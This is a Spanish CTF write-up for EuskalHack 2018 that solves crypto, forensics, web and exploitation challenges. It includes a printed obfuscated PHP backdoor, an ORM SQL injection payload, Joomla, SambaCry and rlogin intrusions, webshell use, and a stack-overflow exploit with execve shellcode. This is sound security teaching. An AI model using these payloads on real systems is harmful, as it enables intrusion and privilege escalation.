Writeup EuskalHack 2018 CTF


= 2018-06-08 - EuskalHack2018 Precuela =

= Crypto = 
== Craptoweb ==
"He encontrado esta web y me dice que soy invitado. Yo quiero ser admin pero no hay login."

Se trata de un servidor web.
Se ve que envía en las cabeceras http una cookie de sesión:
"Cookie: PHPSESSID=n810heda282puo9alm19csu930; session=7c357ea9ad350f1f9910678ced0396f00aedcd7aad06982626bfc28a4b5ae76e76bb2dfbbe8ebc81cfc3eefb8cea610f61ce9234a27b01426dd9cf97e5b2387b"

Si hacemos pruebas cambiando los bytes de la cookie, vemos que nos devuelve errores, y que estos errores pueden ser de dos tipos:
a) 
Error: Error ...
    at Object.exports.decryptGuestSession (/usr/src/app/libs/sessdata.js:13:15)
    at /usr/src/app/routes/index.js:15:33
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
    at next (/usr/src/app/node_modules/express/lib/router/index.js:275:10)
    at Function.handle (/usr/src/app/node_modules/express/lib/router/index.js:174:3)

b)
Error: Session 7d337d697f726e616d65223a226775657374222c22697341646d696e223a66616c73657d is not valid!
    at Object.exports.decryptGuestSession (/usr/src/app/libs/sessdata.js:19:15)
    at /usr/src/app/routes/index.js:15:33
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at /usr/src/app/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
    at next (/usr/src/app/node_modules/express/lib/router/index.js:275:10)
    at Function.handle (/usr/src/app/node_modules/express/lib/router/index.js:174:3)
     
Llegamos a la conclusión que la cookie está cifrada y se descifra en el servidor, y que el error tipo a) es cuando el cifrado ha fallado debido a que el padding es incorrecto,
y que el error tipo b) es cuando el descifrado es correcto (padding correcto), pero el contenido descifrado no es válido.

La sesión que considera incorrecta:
>>> "7d337d697f726e616d65223a226775657374222c22697341646d696e223a66616c73657d".decode("hex")
'}3}i\x7frname":"guest","isAdmin":false}'

Haciendo unas pocas pruebas más, se ve que el cifrado es probablemente AES-CBC, y con los dos errores comentados, tenemos un "cbc padding oracle".

Lanzando un "cbc padding oracle" attack, es posible descifrar el ciphertext (aunque no nos respondiera con el valor de sesión descifrado en la respuesta). Y con el mismo ataque también es posible cifrar cualquier otro plaintext deseado.

Lanzando el ataque, el resultado es que el texto plano es:
'{"userrname":"guest","isAdmin":false}'

Vuelvo a lanzar el ataque para calcular un ciphertext cuyo descifrado sea:
'{"username":"admin","isAdmin":true}'
el ciphertext calculado que genera esa sesión es:
cookie admin: df857cf63132f427334efbf7c1d8473fb8eae58883371a39a62bca41d6d783cc34915756e5e71410a9571fed4d3dc2cd00000000000000000000000000000000

Al enviársela al servidor en las cabeceras http, el resultado es:
    El rincon del admin
    Bienvenido al El rincon del admin
    Eres admin!
    Flag: flag{3ncrypt10n_15_n0t_authentication!}




= Forense =
== Frekuencia Pirata ==
Forense_2e2b1fabeed872fe7e3f884a37d5c45f26b261535754403fa605258764215337.zip
"Encuentra la información que se oculta en este fichero."

Se trata de un archivo ("muxed"), que tras analizarlo se ve que es un archivo de TS (transport stream).

El programa ffmpeg indica que hay 3 streams: uno de video, uno de audio y uno de dvb_teletext
$ ffmpeg -i muxed.ts
Input #0, mpegts, from 'muxed.ts':
  Duration: 00:00:18.00, start: 0.040000, bitrate: 5770 kb/s
  Program 1 
    Metadata:
      service_name    : EuskalHackTV One
      service_provider: 1k0ru
    Stream #0:0[0x810]: Video: mpeg2video (Main) ([2][0][0][0] / 0x0002), yuv420p(tv), 720x576 [SAR 1:1 DAR 5:4], 5000 kb/s, 25 fps, 25 tbr, 90k tbn, 50 tbc
    Stream #0:1[0x814]: Audio: mp2 ([3][0][0][0] / 0x0003), 48000 Hz, stereo, s16p, 128 kb/s
    Stream #0:2[0x7ba](EUS): Subtitle: dvb_teletext ([6][0][0][0] / 0x0006)

Analizando el video y el audio no consigo nada, por lo que intento extraer el dvb_teletext, y tras probar bastantes herramientas tanto de linux como de windows,
finalmente con la que consigo extraerlo es con DVBStreamExplorer, que extrae un fichero de texto, que parece corresponder a la página 100 del teletexto emitida.


 100/0   EuskalHack-TXT 22-06-2018 09:00
                                        
          * * * * * * * * * *           
          * ********* *  *****          
          **** ** * ***   **            
          * * * * *  *  * ****          
          **  *  ** *** *   *           
          **  * *     * ** ***          
          ****   *  * *   *             
          ** ** *  *  ** ** **          
          **  *     *  ** ***           
          ** *    **   ***  **          
          **  **  **  * ** *            
          **  *** * *   *   **          
          *** ** ****  *                
          *     * *** ********          
          **  **     *   ****           
          **  *   ** *  **  **          
          **  **  * * *******           
          **  **  * *** *  * *          
          ***  *  * **  *   *           
          ********************          
                                        
                                        
Tras analizar el texto y la disposición de los "*", concluimos que es un "código de barras" tipo "DataMatrix", y tras generar un dibujo con ese patrón y pasarlo por un lector de DataMatrix, devuelve el flag:
flag{OldStyleHacking}






= Misc =
== La vida es un recon-chineo ==
$ cat Misc_c480c0e937093b2b82b944dff223880dcb34d3bbef83ff7b75596e95212977b6.txt
Conectate a http://54.36.134.37:1998/

Conectando al servidor y viendo el fuente html, se puede leer la pista:
"web en pruebas ... <!-- XORitANDitNORit/puertrasera --><!-- gugle -->"

Más adelante dan la pista que XORitANDitNORit está en github, y llegamos al repositorio:
https://github.com/XORitANDitNORit/puertrasera

que tiene un fichero con este contenido:
    <?php
    if(isset($_COOKIE['secreto'])) {
            $x="Dcq7CsMgFADQX7lD4OpSKJQuwalkCIU6OIYQrF6tEB+oWVr67+2ZT0hmPywxNDm54E/lVZCPEBzz75Dcrjuxp250vWyWTP7PYbtJeZ+nBRuZSj3jyjkIIQAj+aN1XWr2VUddkcMHYNjUpNQsHwtqG0PCFQScR4DvDw==";
            eval(gzinflate(base64_decode($x)));
    }

cambiando el "eval" por "print" y ejecutando en un interprete php, obtenemos:
    include('config.php'); if(gzinflate(base64_decode($_COOKIE['secreto'])) === 'megustaprogramar') {  $_SESSION['admin'] = 1;  }

Entonces para ser "admin", necesitamos enviar una cookie de nombre "secreto", codificada en base64, y que al hacerle gzinflate el resultado sea "megustaprogramar"
Calculamos el valor necesario:
    $ cat ll2.php 
    <?php
            $x="megustaprogramar";
            print(base64_encode(gzdeflate($x)));

    $ php ll2.php 
    y01NLy0uSSwoyk8vSsxNLAIA

Al enviar ese valor como cookie, nos devuelve el flag
    'web en pruebas ... <!-- XORitANDitNORit/puertrasera --><!-- gugle -->flag{php_b4ckp00r_0r_b4ckd00r1705?}'




= Web =
== El clon de imdb ==
"Mi amigo me acaba de hablar de un servicio de búsqueda de películas, que cree que es mucho mejor que IMDB. Lo probé y no pude encontrar películas que me gusten pero me gustala interfaz ¿Puedes ayudarme a entrar en la cuenta del admin para añadir mas pelis?"

Se trata de una web en la que se puede realizar una búsqueda metiendo un valor.
Haciendo pruebas con varios valores, se observa que:
- las busqueda genera una petición a direcciones del tipo:
    metiendo el valor "a": http://54.36.134.37:49175/search?where[name][$like]=%25a%25
- el servidor consulta a una base de datos sqlite, ya que sale en algunos errores, por ejemplo:
    por ejemplo:
        http://54.36.134.37:49175/search?where[f][$like]
        SQLITE_ERROR: no such column: movie.f
- seguramente utiliza por detrás sequelizejs con nodejs

Tras varios intentos intentando inyectar en la consulta sql, finalmente funciona algo de este estilo, agregando el parámetro group:
    http://54.36.134.37:61405/search?where[id][$lt]=3&group=id union all select * from users
    <!DOCTYPE html><html><head><title>Buscador de peliculas</title><link rel="stylesheet" href="/stylesheets/style.css"></head><body><h1>Buscador de peliculas</h1><p>Buscador de pelis!</p><script src="/javascripts/search.js"></script><input id="search-input" type="text"><button id="search-btn" onclick="doSearch()">Buscar</button><p>Name: Matrix</p><p>Description: Epic</p><p>Name: admin</p><p>Description: 9d88f60b77834542886cf1efcc4f8e0413fb2f2a846865485d1a69a9c452db11</p></body></html>

El password guardado en la BBDD es 9d88f60b77834542886cf1efcc4f8e0413fb2f2a846865485d1a69a9c452db11, para el usuario admin, pero la web no lo acepta.

Por si acaso el valor está guardado hasheado en la BBDD, buscamos en algún agregador de hashes en la web, se encuentra que ese valor es el sha256 de "BCTM4455BCTM4455", y ese password sí lo acepta la web y devuelve el password:
    Congratz!
    Aqui tienes tu flag: flag{SQL_1nj3ct10n_1n_0RM_happens!}









= 2018-06-16 - CTF Final =
== Betria acceso basico ==
Lanzando un escaneo de puertos, se ve que están abiertos:
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    111/tcp  open  rpcbind
    3306/tcp open  mysql
    
    
En el servidor http hay instalado un Joomla.
Probando los exploits de metasploit para Joomla, finalmente el exploit "multi/http/joomla_http_header_rce" consigue proporcionarnos una shell inversa como usuario "apache".
Se puede encontrar y mostrar el contenido del fichero:
    $ cat /var/www/users.txt
    bob:qUXSMmigBjqtlPL4GMIb
, que son las credenciales del usuario bob.
Haciendo login como el usuario bob con esas credenciales se puede ver el contenido del fichero /home/bob/secret.txt, donde está el flag.




== Betria acceso admin ==
Un simple "sudo -s" como el usuario bob, nos permite convertirnos en root, ya que el archivo bob está en el archivo sudoers:
    # Motivo por el que permite hacer sudo -s
    [root@Betria ~]# cat /etc/sudoers
    bob ALL=(ALL:ALL) ALL
Una vez convertido en root, podemos ver el contenido de /root/secret.txt, donde está el flag.






== Avior acceso basico ==
Lanzando un escaneo de puertos, se ve que están abiertos:
    PORT    STATE SERVICE
    22/tcp  open  ssh
    80/tcp  open  http
    139/tcp open  netbios-ssn
    445/tcp open  microsoft-ds
    512/tcp open  exec
    513/tcp open  login
    514/tcp open  shell

Haciendo unas peticiones al servidor samba, podemos sacar información del nombre de un usuario de la máquina:
    t ~ # nmap --script smb-enum-domains -p139 10.35.0.151 -v
    Host script results:
    | smb-enum-domains: 
    |   Builtin
    |     Groups: n/a
    |     Users: n/a
    |     Creation time: unknown
    |     Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
    |     Account lockout disabled
    |   AVIOR
    |     Groups: n/a
    |     Users: nobody, bob
    |     Creation time: unknown
    |     Passwords: min length: 5; min age: n/a days; max age: n/a days; history: n/a passwords
    |_    Account lockout disabled
    | smb-enum-sessions: 
    |_  <nobody>
    | smb-enum-shares: 
    |   account_used: <blank>
    |   \\10.35.0.151\IPC$: 
    |     Type: STYPE_IPC_HIDDEN
    |     Comment: IPC Service (Avior server)
    |     Users: 3
    |     Max Users: <unlimited>
    |     Path: C:\tmp
    |     Anonymous access: READ/WRITE
    |   \\10.35.0.151\print$: 
    |     Type: STYPE_DISKTREE
    |     Comment: Printer Drivers
    |     Users: 0
    |     Max Users: <unlimited>
    |     Path: C:\var\lib\samba\printers
    |_    Anonymous access: <none>
    | smb-enum-users: 
    |   AVIOR\bob (RID: 3000)
    |     Full name:   bob
    |     Description: 
    |     Flags:       Normal user account
    |   AVIOR\nobody (RID: 501)
    |     Full name:   nobody
    |     Description: 
    |_    Flags:       Normal user account




Una vez conocido el login de un usuario ("bob"), intentamos conectarnos por rlogin por si está abierto desde cualquier host para ese usuario:
    $ rlogin -l bob 10.35.0.151
    Last login: Sat Sep  2 11:07:57 BST 2017 from 10.28.0.57 on pts/0
    Linux Avior 2.6.32-5-686 #1 SMP Tue May 13 16:33:32 UTC 2014 i686

    The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.

    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    bob@Avior:~$
    
    # Motivo por el que permite hacer rlogin
    bob@Avior:~$ cat .rhosts 
    + +
    bob@Avior:~$ cat /home/secret.txt
    well done 7WwPjPOf7Tb4fHup6YXI1t52I22RPDnu !


Podemos usar esto para logearnos con cualquier usuario que aparezca en /etc/passwd y que tenga shell definida (había varios).
No permite usarlo para el usuario root, pq el fichero /etc/securetty defina las tty desde la que se puede conectar root, y no está en ese fichero las "/dev/pts/..." 

En el servidor también se ve una base de datos mysql corriendo en el puerto 3306 pero solo desde la interfaz interna de loopback.





== Avior acceso admin ==


El servidor es un Debian 6, y pruebo varias vulnerabilidades conocidas:
- shellsock: sí parece vulnerable, pero no veo dónde aprovecharlo para obtener root
- dirtycow: no parece vulnerable
- sambacry: no me permite lanzar los exploits que he encontrado de esta vulnerabilidad porque necesita tener unas credenciales (user/pass), y no conozco el pass del usuario bob. Este servicio se ejecuta como root.
- en el home del usuario han dejado un binario ./sucrack, que es un bruteforceador de passwords contra el programa "su", a partir de un wordlist. Pruebo varios wordlist, sin exito (además cascaba al meter ficheros largos).
- ...


Finalmente vuelveo a revisar el de sambacry:
Los expoits disponibles necesitan una cuenta (user/pass) con permisos de escritura en un recurso compartido.

En la salida de nmap vemos que estaba con permisos de escritura el IPC$, mapeado a /tmp.
Con un usuario anonimo permite logear en el servicio samba, pero no escribir.
Con el usuario bob no puedo logear	en el servicio samba por que no conozco el password.

Los exploits de sambacry utilizan la cuenta de usuario para subir un fichero con payload al recurso compartido, y luego realizando ciertas llamadas a samba consiguen que lo ejecute.
Como no conozco el password de la cuenta bob, hago la parte del exploit de subir el fichero con payload de forma manual (por que ya he conseguido acceso a la máquina como usuario bob en el reto anterior), y dejo el payload en /tmp.
Luego modifico un expoit que ataca sambacry, pero modificandolo para que no realice la primera fase de "subir el payload".
El exploit se ejecuta de forma correcta, y acabo con una shell reverse como root de premio, desde la que puedo leer el flag en /root/secret.txt.


	




== Hadir acceso basico ==
Lanzando un escaneo de puertos, se ve que están abiertos:
    PORT    STATE SERVICE
    22/tcp  open  ssh
    23/tcp  open  telnet
    80/tcp  open  http
    111/tcp open  rpcbind

Lanzando zaproxy + dirbuster contra el servidor web, nos muestra que hay una carpeta "/1", con el dir-listing activado, en el que se ven varios ficheros, entre ellos una webshell (b374k.php)
/1 hay un dir-listing. Entre los ficheros, se ve que uno es una webshell php (b374k.php). Pide password, que tras varias pruebas, es b374k.

Desde esta webshell, aunque sea el usuario www-data, permite leer el flag en /home/alice/secret.txt


== Hadir acceso admin ==
Desde la webshell se pueden listar procesos, y se ve que hay un proceso como root sospechoso:
    php -S localhost:8000
haciendo pruebas, veo que se ha lanzado desde la ruta /tmp/, por lo que puedo crear un fichero php en /tmp/ y al llamarlo se ejecutará como root:
        /var/www/html/>echo -n "<?php echo(file_get_contents('/root/secret.txt')); ?>" > /tmp/2.php
        /var/www/html/>wget -O- 'http://localhost:8000/2.php'
        converted 'http://localhost:8000/2.php' (ANSI_X3.4-1968) -> 'http://localhost:8000/2.php' (UTF-8)
        --2018-06-16 22:14:39--  http://localhost:8000/2.php
        Resolving localhost (localhost)... ::1, 127.0.0.1
        Connecting to localhost (localhost)|::1|:8000... connected.
        HTTP request sent, awaiting response... 200 OK
        Length: unspecified [text/html]
        Saving to: 'STDOUT'
        well Done!! 7b0f81bdd2b24ba32cb27f6c16e6b900



== Forense ==
Nos proporcionan tres ficheros: un archivo pcap, un archivo de python y un txt:

En el pcap se ve que intercambian los siguientes bytes entre 2 equipos:
        00000000  48 6f 6c 61 53 6f 79 42  6f 74 4d 61 6a 6f       HolaSoyB otMajo
    00000000  4f 4b 4f 4b                                      OKOK
        0000000E  43 6f 72 72 65 63 74 6f                          Correcto 
    00000004  42 6f 74 4d 61 6a 6f 54  65 49 6e 76 69 74 61 41 BotMajoT eInvitaA
    00000014  6a 75 67 61 72 72 72 72                          jugarrrr 
        00000016  0e 29 00 00 a6 4c 13 81  00 00 01 00 00 00       .)...L.. ......
    0000001C  39 25 00 00                                      9%..
        00000024  0e 01 00 00 69 b1 6c 93  00 00 02 00 00 00       ....i.l. ......
    00000020  1d fd 00 00                                      ....
        00000032  0e 01 00 00 27 57 2c 70  00 00 03 00 00 00       ....'W,p ......
    00000024  83 97 00 00                                      ....
        00000040  0e 29 00 00 0c 68 d5 08  00 00 04 00 00 00       .)...h.. ......
    00000028  93 03 00 00                                      ....
        0000004E  0e 01 00 00 9f d3 53 22  00 00 05 00 00 00       ......S" ......
    0000002C  26 c2 00 00                                      &...
        0000005C  0e 01 00 00 f4 01 ee 0b  00 00 06 00 00 00       ........ ......
    00000030  ef ff 00 00                                      ....
        0000006A  0e 29 00 00 40 c6 26 04  00 00 07 00 00 00       .)..@.&. ......
    00000034  a0 3c 00 00                                      .<..
        00000078  0e 29 00 00 a3 bf bb 4c  00 00 08 00 00 00       .).....L ......
    00000038  04 57 00 00                                      .W..
        00000086  0e 01 00 00 9a 4a e0 4c  00 00 09 00 00 00       .....J.L ......
    0000003C  2a e7 00 00                                      *...
        00000094  0e 29 00 00 f6 4b 77 9d  00 00 0a 00 00 00       .)...Kw. ......
    00000040  d4 58 00 00                                      .X..
        000000A2  0e 29 00 00 d2 79 be 75  00 00 0b 00 00 00       .)...y.u ......
    00000044  bb 5c 00 00                                      .\..
        000000B0  0e 29 00 00 ae 79 b6 46  00 00 0c 00 00 00       .)...y.F ......
    00000048  c3 67 00 00                                      .g..
        000000BE  0e 29 00 00 0e 22 68 06  00 00 0d 00 00 00       .)..."h. ......
    0000004C  ba 07 00 00                                      ....
        000000CC  0e 01 00 00 70 fc 43 09  00 00 0e 00 00 00       ....p.C. ......
    00000050  3f 7a 00 00                                      ?z..
        000000DA  0e 29 00 00 9e fd 54 44  00 00 0f 00 00 00       .)....TD ......
    
En el txt:
    $ cat ./LEEME.txt 
    Para resolver este reto : 

    nc 54.36.134.37 2323 

En el server_redacted.py:
    $ cat server_redacted.py                                                                           
    #!/usr/bin/python

    import struct
    import sys
    import random
    import time


    def saludo():
        sys.stdout.write("HolaSoyBotMajo")
        sys.stdout.flush()
        x = sys.stdin.read(4)
        sys.stderr.write("respuesta " + repr(x))
        if x != "REDACTED":
            return False

        sys.stdout.write("Correcto")
        sys.stdout.flush()
        x = sys.stdin.read(24)
        sys.stderr.write("respuesta 2 " + repr(x))

        if x not in  "\REDACTED":
            return False

        else:
            return True

    def calculos(a, b, operacion):
        if operacion == 0x01:
            return struct.pack("I", (a + b))

        if operacion == 0x29:
            return struct.pack("I", (a - b))

        return 0



    def empaqueta_output(a, b, operacion, rondax):
        sys.stdout.write(struct.pack("b", 14))
        sys.stdout.write(struct.pack("b", operacion))
        sys.stdout.write(struct.pack(">I", a))
        sys.stdout.write(struct.pack("<I", b))
        sys.stdout.write(struct.pack("I", rondax))
        sys.stdout.flush()

    def rondacalculos(rondax, operacion=65535):

        if operacion == 65535:
            operacion = random.choice([0x01, 0x29])

        if operacion == 65534:
            operacion = random.choice([0x01, 0x29])

        if operacion == 0x01:
            t1 = random.randint(1, 0xFFFF)
            t2 = random.randint(1, (0xFFFF - t1))
            sys.stderr.write(str(t1) + " + " + str(t2) + "\n")
            empaqueta_output(t1, t2, operacion, rondax)

        if operacion == 0x29:
            t1 = random.randint(3, 0xFFFF)
            t2 = random.randint(1, (t1 - 1))
            sys.stderr.write(str(t1) + " - " + str(t2) + "\n")
            empaqueta_output(t1, t2, operacion, rondax)

        x = sys.stdin.read(4)
        if x in calculos(t1, t2, operacion):
            return True
        else:
            print "fallo"
            return False

    if __name__ == "__main__":
        if not saludo():
            print "Sigue intentandolo guapi!"
            sys.exit(1)

        for i in range(1, 50):
            time.sleep(1)
            sys.stderr.write("\nRonda: " + str(i) + "\n")

            if not rondacalculos(i, 65534):
                sys.exit(1)
        
        sys.stdout.write("Ganador!!!!! flag{redacted}")
        sys.stdout.flush()



Se supone que el arhivo de python es el servidor que escucha en 54.36.134.37 2323, aunque tiene trozos censurados con REDACTED, que se pueden rellenar a partir de la captura en el pcap.


El servidor nos envía dos números que ha generado de forma aleatoria y la operación quiere que realicemos y que le envíemos el resultado.


Con esa información, podemos crear un cliente en python que se conecte, y pase todas las rondas para que el servidor nos devuelva el flag.

    $ cat solver.py

    import socket
    import re
    import struct

    s = socket.socket()
    s.connect(("54.36.134.37", 2323))

    r1 = s.recv(1000)
    print "r1:", r1
    s.send("OKOK")

    r2 = s.recv(1000)
    print "r2:", r2
    s.send("BotMajoTeInvitaAjugarrrr")

    def calculos(a, b, operacion):
        if operacion == 0x01:
            return struct.pack("I", (a + b))

        if operacion == 0x29:
            return struct.pack("I", (a - b))

        return 0


    def desempaqueta_output(r):
        r1,r2,r3,r4,r5 = r[:1], r[1:2], r[2:6], r[6:10], r[10:14]
        r1 = struct.unpack("b", r1)[0]
        r2 = struct.unpack("b", r2)[0]
        r3 = struct.unpack(">I", r3)[0]
        r4 = struct.unpack("<I", r4)[0]
        r5 = struct.unpack("I", r5)[0]
        return r1,r2,r3,r4,r5

    for i in range(50):
        r3 = s.recv(1000)
        print "r3:", r3.encode("hex")
        rr = desempaqueta_output(r3)
        print "rr:", rr
        #rr: (14, 1, 63537, 315, 1)

        enviar = calculos(rr[2], rr[3], rr[1])
        s.send(enviar)

    rn = s.recv(1000)
    print "rn:", rn.encode("hex")
    rn = s.recv(1000)
    print "rn:", rn.encode("hex")
    rn = s.recv(1000)
    print "rn:", rn.encode("hex")



Finalmente el servidor devuelve el flag (que estoy logeando en hex):
    "47616e61646f72212121212120666c61677b69686176655f70307733725f6d347468247d"
y decodificando en hex:
    In [7]: "47616e61646f72212121212120666c61677b69686176655f70307733725f6d347468247d".decode("hex")
    Out[7]: 'Ganador!!!!! flag{ihave_p0w3r_m4th$}'





== Crypto ==

$ unzip /home/crypto_100.zip 
Archive:  /home/crypto_100.zip
  inflating: pub.pem                 
  inflating: flag.enc                

$ cat pub.pem 
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAOIhkfE/WUKzpO/latKN03wmVKIW+iLO
wLkpBOxERKhhAgMBAAE=
-----END PUBLIC KEY-----

$ hexdump -C flag.enc 
00000000  59 23 6d 5e 2e f0 89 ae  ae 8d 12 ab 54 b8 cc f6  |Y#m^........T...|
00000010  cf 8f c2 c2 ce b5 70 b5  ca 10 7e 51 a9 a1 b1 de  |......p...~Q....|
00000020


Se trata de un fichero con el flag, cifrado (se supone que con RSA), y la clave pública RSA con el que se ha cifrado.
Para descifrarlo necesitamos la clave privada, que no la tenemos.

Pero la clave pública tiene un valor de módulo muy pequeño y es fácilmente factorizable:

    $ openssl rsa -in pub.pem -pubin -text -modulus
    Modulus (256 bit):
        00:e2:21:91:f1:3f:59:42:b3:a4:ef:e5:6a:d2:8d:
        d3:7c:26:54:a2:16:fa:22:ce:c0:b9:29:04:ec:44:
        44:a8:61
    Exponent: 65537 (0x10001)
    Modulus=E22191F13F5942B3A4EFE56AD28DD37C2654A216FA22CEC0B92904EC4444A861
    writing RSA key
    -----BEGIN PUBLIC KEY-----
    MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAOIhkfE/WUKzpO/latKN03wmVKIW+iLO
    wLkpBOxERKhhAgMBAAE=
    -----END PUBLIC KEY-----
    bob@Avior:/tmp$


In [1]: 0xE22191F13F5942B3A4EFE56AD28DD37C2654A216FA22CEC0B92904EC4444A861
Out[1]: 102282016990194715907376754685405290320613063451593543790128550772762982262881L

Vemos que el número está indexado en factordb, y nos devuelve sus factores:
    http://factordb.com/index.php?query=102282016990194715907376754685405290320613063451593543790128550772762982262881
    317043256490461415472724153584731748683<39> · 322612182711011169170521985697248568707<39>


Con la factorización del módulo, podemos descifrar el cifrado rsa:

In [2]: n = 102282016990194715907376754685405290320613063451593543790128550772762982262881L
In [3]: p = 317043256490461415472724153584731748683
In [4]: q = 322612182711011169170521985697248568707
In [5]: import gmpy
In [7]: d = gmpy.invert(65537, (p-1)*(q-1))
In [9]: hex(pow(0x59236d5e2ef089aeae8d12ab54b8ccf6cf8fc2c2ceb570b5ca107e51a9a1b1de, d, n))
Out[9]: '0x27cbe1870a0a34605b41425cee6d78300666c61677b7765616b7273617d0a'
In [24]: "027cbe1870a0a34605b41425cee6d78300666c61677b7765616b7273617d0a".decode("hex")
Out[24]: '\x02|\xbe\x18p\xa0\xa3F\x05\xb4\x14%\xce\xe6\xd7\x83\x00flag{weakrsa}\n'


El flag es: weakrsa




== Exploiting ==

[root@Betria bob]# cat exploiting.txt 
usuario: level1 
password: level1 

Nota: No hay mas retos en la plataforma aunque ponga level1. ASLR está activado. 

Conectate por SSH. 
$ ssh level1@54.36.134.37 -p1337


$ ssh -p 1337 level1@54.36.134.37
level1@54.36.134.37's password: 
___________  __            ______ ______        ______             
___(_)__  / / /_____ _________  /____  / ______ ___  /_________    
__  /__  /_/ /_  __ `/  ___/_  //_/_  /  _  __ `/_  __ \_  ___/    
_  / _  __  / / /_/ // /__ _  ,<  _  /___/ /_/ /_  /_/ /(__  )     
/_/  /_/ /_/  \__,_/ \___/ /_/|_| /_____/\__,_/ /_.___//____/      
                                                                                                                                                                                  

* NORMAS PARA EXPLOITING:

[*] Cada nivel esta en /home/levelXXXXX/
[*] Dentro de cada nivel hay un fichero .pass
[*] Este fichero es el password del siguiente nivel y la FLAG en la plataforma.
[*] Puedes usar /tmp para escribir ficheros.
[*] Dispones de herramientas como gdb-peda la explotacion/reversing
[*] Esta maquina se reinicia cada hora, guarda tu trabajo en local. 

Hack&Enjoy! 

Last login: Mon Jun 18 06:48:47 2018 from u105899.vc.ehu.es

level1@3fd3123de246:/tmp$ ls -al /home/level1
total 24
drwxr-xr-x  2 root     root       4096 Jun 17 13:24 .
drwxr-xr-x 12 root     root       4096 Jun 14 11:06 ..
-r--r--r--  1 root     root         27 Jun 14 11:04 .gdbinit
-r--------  1 userpriv userpriv     17 Jun 17 21:32 .pass
-r-Sr-x---  1 userpriv level1priv 6088 Jun 13 12:00 level1





Escenario:
    En un servidor linux, hay un fichero ejecutable con suid (/home/level1/level1), y un fichero con el flag (/home/level1/.pass).
    El fichero con el flag no lo podemos leer con los permisos actuales, pero sí con los permisos que adquirimos a través de suid al ejecutar el fichero.

Analizando el ejecutable, se concluye que:
    El fichero acepta un nombre de fichero como argumento, lo lée, hace ciertas comprobaciones e imprime el resultado.

    Al intentar leer el fichero con el flag, no cumple las comprobaciones y no lo imprime.

    El fichero a leer tiene que tener un formato concreto para superar los chequeos:
        - primeros 4 bytes indican la longitud de lo que viene detrás y que va a leer e imprimir
        - hace una comprobación que este número sea menor de 255, por lo que en teoría no va a leer más de 255 bytes (*)
        - luego debe haber un caracter "@"
        - luego el contenido que va a imprimir el ejecutable

    El contenido del fichero desde el "@" y contando tantos caracteres como marquen los 4 primeros bytes se copian al stack, y se imprimen.
    
    
Fallo:        
    (*) en esta comparación hay un fallo ya que al meter en los cuatro primeros bytes un valor que se interprete como un entero negativo, conseguimos pasar el check y podremos hacer que lea cadenas mayores que los 255 bytes que se supone que tiene de límite. Sin embargo al copiarlo al stack, copia byte a byte tantos como este número interpretado como unsigned, por lo que se sobreescribe más allá del espacio reservado y se produce un buffer overflow en el stack.


Mitigaciones presentes:
    El servidor tiene activado ASLR
        level1@3fd3123de246:/tmp/danifll$ cat /proc/sys/kernel/randomize_va_space
        2
    No hay NX, por lo que podemos ejecutar código que hayamos metido en la pila.

    Dado que el servidor es de 32 bits, el ASLR que hay tiene poca entropía y se puede bruteforcear.
    Metemos muchas instrucciones "nop" (0x90) delante del shellcode para que sea más probable que sea éxitoso pasar el ASLR.
    
    
    

Estrategia:
    Crear un fichero con el contenido necesario para superar los checks
        En los cuatro primeros bytes, metemos un número negativo para superar el límite de 255 bytes
        Luego un byte "@"
        El contenido posterior se lee en la funcion leedatos() y acaba escribiéndola en la pila.
    Meter en el fichero una shellcode para linux, 32 bits, para poder llamarle si conseguimos saltar a la pila.
    
    Al meter el número negativo en los primeros cuatro bytes, e interpretarse luego como unsigned (por cómo hace la copia la función leefichero), va a producirse el buffer overflow, y acabaremos sobreescribiendo la dirección de retorno de la pila, pudiendo saltar a donde deseémos.
    El problema es que al haber ASLR la dirección a donde queremos saltar cambia en cada ejecución (ciertos bits sólo).
    Al ser la arquitectura de 32 bits, estas direcciones no son tan aleatorias y acaban repitiéndose al de unos miles de intentos.
    Por lo tanto, calculamos una dirección de retorno de un caso en el debugger, y luego ejecutamos el exploit miles de veces (que cascará porque saltará a direcciones random), hasta que se dé el caso de que se repitan las instrucciones aleatorias, y en ese caso se ejecutará nuestro exploit, con la shellcode.
    


Para encontrar la posición donde debe ir la dirección de retorno utilizamos la técnica de usar un patrón cíclico muy largo, y cuando intente saltar a una dirección y casque buscamos esa dirección en el patrón.

Con ello, conseguimos el siguiente exploit funcional, y sólo queda lanzarlo miles de veces para superar el ASLR:
    #crear el fichero a leer que contiene el exploit:
        "\xff\xff\xff\xff" - cantidad negativa al interpretarlo como signed en la comparación con 255 para que se crée la condición de buffer overflow
        "@" - necesario por checks del ejecutable
        "A"*(232+32) - padding de relleno (calculado utilizando patrones
        "\x18\xdc\xff\xff" - saved EBP que va a setear lo pongo por la pila
        "\x38\x79\xa0\xff" - Dirección de retorno vista en una ejecución con el debugger 
        "\x90"*900 - relleno de instrucciones "nop" para favorecer pasarnos el ASLR
        "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" - shellcode a ejecutar
    
